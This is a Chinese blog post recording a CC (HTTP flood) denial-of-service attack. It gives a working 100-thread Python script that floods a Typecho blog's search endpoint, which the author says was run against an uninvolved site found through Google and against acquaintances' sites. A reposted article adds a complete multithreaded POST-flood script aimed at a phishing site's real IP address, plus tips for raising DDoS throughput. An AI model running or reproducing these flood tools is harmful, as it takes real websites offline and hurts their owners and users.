Loading

soarli

一次CC实战全记录
本文已公开,仅供大家学习参考,任何人不得将本文代码/思路用于非法用途,否则后果自负!前言5月26号晚上尝试requ...
扫描右侧二维码阅读全文
27
2021/05

一次CC实战全记录

本文已公开,仅供大家学习参考,任何人不得将本文代码/思路用于非法用途,否则后果自负!

前言

5月26号晚上尝试requests方法时突发奇想,刚好偶遇知乎大佬post方法拿下一个盗号网站,于是乎踏上了CC实战道路。

漏洞的发现

很多typecho博客搜索框无频次限制/验证码漏洞,借此可生成随机数并用get方法多线程并发传递实现简单的CC攻击。

实战过程

发现董敬涛网站存在此漏洞,告知其后得知其不希望自己网站受到攻击,猜测Joe主题普遍存在此漏洞,Google搜索出一个网站(无辜的可怜的家伙)并对其展开了多线程测试。它的域名在这里就不做记录了。

实战总结

当天晚上的效果:

第二天下午的效果:

至此,此项多线程技术得到了一轮完整的应用,期间还短暂地借助一些身边人的网站进行了测试,结果不是打不开就是502/504。

多线程实战测试到此也算告一段落了,如无特殊需求我也不会再无聊的进行下一次此番操作了。

实战代码

start cmd /k "python cc.py"
start cmd /k "python cc.py"
start cmd /k "python cc.py"
start cmd /k "python cc.py"
start cmd /k "python cc.py"
import requests
import random
import threading
from datetime import datetime
from time import sleep

lock = threading.Lock()

headers = {
    'User-Agent': 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Mobile Safari/537.36'
}

success_count = 0
error_count = 0

def log(text):
    print(datetime.now().strftime('%Y-%m-%d %H:%M:%S'),text)
    
def d_dos():
    session = requests.session()
    #session.headers = header
    global error_count
    global success_count
    while True:
        ss = random.randint(10**25,10**35)
        sss = 'http://blog.xxxxxx.cn/?s=' + str(ss)
        try:
            r = requests.get(url=str(sss),headers=headers)
        except:
            lock.acquire()
            log('报错,直接跳过... *{}'.format(error_count))
            error_count += 1
            lock.release()
            continue
        code = r.status_code
        lock.acquire()
        if code == 200:
            log('提交成功...OK! *接口:{}'.format(sss))
            success_count +=1
        else:
            log('提交失败...failed! *接口:{}'.format(sss))
            error_count += 1
        lock.release()
        
    #print(sss)

    
    #print(r.text)

if __name__ == '__main__':
    thread_num = 100
    for i in range(thread_num):
        threading.Thread(target=d_dos).start()
        print('线程{}启动...'.format(i))
        sleep(0.1)

知乎大佬原文

一、背景

今天在群里,看到有个大佬发了个盗号网站的链接:http://154.221.20.240/Mali1/

这个网站伪装成qq邮箱登录,实际上就是骗你的qq号的,在手机上打开还真像那么回事。

之前也D过不少盗号网站,但总觉得独乐乐不如众乐乐,今天就想着把过程写下来,给大家看

看。大家没事的时候看到这种盗号网站也可以去练练手。本文章也仅仅是从较为简单的DDOS

入手。

二、分析网站

通过wappalyzer,可以看到这个网站运行在一台windows服务器上,一个简单的asp网页:

服务器地址在美国,web应用程序是IIS。

*F12打开浏览器控制台,随便输入一个账号密码看看:*

*捕获了一个post请求,地址为:http://154.221.20.240/Mali1/4.asp?sn_sid=*

网页反馈密码错误,然后跳到了qq邮箱的官网。

*post的参数如下:*

这个参数名是认真的么 – -!

我们要进行DDOS,那么就要从这个post请求入手。

三、构建DDOS程序

我们可以使用python的requests库构建http post请求,使用random库生成随机账号密码,并使用多线程来实现DDOS。

1.构建随机账号密码

def random_user_pass():
    user = random.randint(10**5,10**10)     #随机5-10位QQ号
    password = ''
    password_len = random.randint(9,28)     #随机9-28位密码
    for i in range(password_len):
        code = random.randint(48,122)       #取ASCII码48-122转为字符串
        password += chr(code)
    return user,password

*运行一下,随机生成了一个账号密码:*

(3301962676, 'akDk@Qb3Xe71ojwap2e>Qctq@')

2.调用生成的账号密码,post给盗号网站

原理很简单,就是*通过requests构建post请求,将数据发送给盗号网站*,模拟网页“登录”的操作。

def d_dos():
    session = requests.session()
    session.headers = header
    while True:
        user,password = random_user_pass()
        data = {
            'qq':user,
            'mima':password,
            'MM_insert':'form1'
        }
        r = session.post(api,data=data,timeout=5)
        code = r.status_code
        if code == 200:
            print('提交成功...OK!  账号:{},密码: {}'.format(user,password))
        else:
            print('提交失败...failed!')

*运行一下,一瞬间提交给了盗号网站N多随机账号密码:*

3.加点错误处理,保证稳定运行

上面程序设置了超时为5秒,当连接超时会报错。在http请求中,会有各种各样的错误,导致程序崩溃,所以我们这里就简单粗暴加一*个忽略所有错误的错误处理:

        try:
            r = session.post(api,data=data,timeout=5)
        except:
            print('报错,直接跳过...')
            continue

4.加个多线程

单线程的请求当然是搞不死这个网站的,所以我们要对这个程序*使用多线程处理*

    thread_num = 100
    for i in range(thread_num):
        threading.Thread(target=d_dos).start()
        print('线程{}启动...'.format(i))

这样我们就成功实现了*100线程*的同时请求,运行一下:

控制台疯狂刷新。

5.优化一下,加个线程锁

到上一步其实这个简单的程序已经可以使用了,但是还不够人性化,最好能显示出提交的次数,失败的次数等。但是这里是多线程,如果直接定义一个变量来存储次数的话,100个线程一起修改这个变量,最后一定会崩。*好在python的多线程模块提供了线程锁,我们可以先对变量加锁,修改完了再解锁。*
*完整代码如下*

import requests
import threading
import random
from datetime import datetime
from time import sleep

lock = threading.Lock()
api = 'http://154.221.20.240/Mali1/4.asp?sn_sid='
header = {
    'User-Agent': 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Mobile Safari/537.36'
}
success_count = 0
error_count = 0

def log(text):
    print(datetime.now().strftime('%Y-%m-%d %H:%M:%S'),text)

def d_dos():
    session = requests.session()
    session.headers = header
    global error_count
    global success_count
    while True:
        user,password = random_user_pass()
        data = {
            'qq':user,
            'mima':password,
            'MM_insert':'form1'
        }
        try:
            r = session.post(api,data=data,timeout=5)
        except:
            lock.acquire()
            log('报错,直接跳过... *{}'.format(error_count))
            error_count += 1
            lock.release()
            continue
        code = r.status_code
        lock.acquire()
        if code == 200:
            log('提交成功...OK! *{} 账号:{},密码: {}'.format(success_count,user,password))
            success_count +=1
        else:
            log('提交失败...failed! *{} 状态码:{}'.format(error_count,r.status_code))
            error_count += 1
        lock.release()

def random_user_pass():
    user = random.randint(10**5,10**10)
    password = ''
    password_len = random.randint(9,28)
    for i in range(password_len):
        code = random.randint(48,122)
        password += chr(code)
    return user,password

if __name__ == '__main__':
    thread_num = 100
    for i in range(thread_num):
        threading.Thread(target=d_dos).start()
        log('线程{}启动...'.format(i))
        sleep(0.1)

四、其他

以下几点注意:

1. requests库python不自带,用pip安装即可

2. 因为是示范用的代码,代码写的十分辣眼睛,还有很多优化空间,不要介意

3. 把控制台输出去掉,可以极大提升DDOS的性能(去掉print的代码)

4. 因为python的多线程机制,和requests库的原因,建议不要开太高线程,电脑容易卡死

5. 如果想要用DDOS里的流量攻击,那么可以去下载他的静态资源或者web页面

6. 这个程序其实严格意义来说是cc攻击,并发提交大量的无意义数据,刷他的数据库

7. 不要用于正规网站,通过你的IP分分钟查得到你的人

tag:

文章首发于小伟博客:https://www.xiaoweigod.com/ 欢迎大家关注!

最后修改:2021 年 06 月 06 日 12 : 08 AM

发表评论